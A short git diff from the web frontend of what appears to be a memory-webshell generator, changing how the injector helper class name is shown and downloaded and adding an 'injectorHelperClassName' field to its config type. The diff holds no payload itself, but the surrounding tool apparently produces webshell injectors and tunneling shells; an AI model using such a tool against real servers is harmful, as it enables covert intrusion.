--git a/web/app/components/memshell/shell-result.tsx b/web/app/components/memshell/shell-result.tsx index dbb1b301..01f38203 100644 --- a/web/app/components/memshell/shell-result.tsx +++ b/web/app/components/memshell/shell-result.tsx @@ -128,7 +128,7 @@ export default function ShellResult({ wrapLongLines={true} header={
- {generateResult?.shellClassName + "$1"} + {generateResult?.injectorConfig.injectorHelperClassName}
} button={ @@ -144,7 +144,7 @@ export default function ShellResult({ } downloadBytes( generateResult?.injectorHelperBytesBase64Str, - generateResult?.shellClassName + "$1", + generateResult?.injectorConfig.injectorHelperClassName, ); }} > diff --git a/web/app/types/memshell.ts b/web/app/types/memshell.ts index 4d73b3f7..51a09fb3 100644 --- a/web/app/types/memshell.ts +++ b/web/app/types/memshell.ts @@ -76,6 +76,7 @@ export interface NeoreGeorgShellToolConfig { export interface InjectorConfig { injectorClassName?: string; + injectorHelperClassName?: string; classInheritance?: string; urlPattern?: string; staticInitialize?: boolean;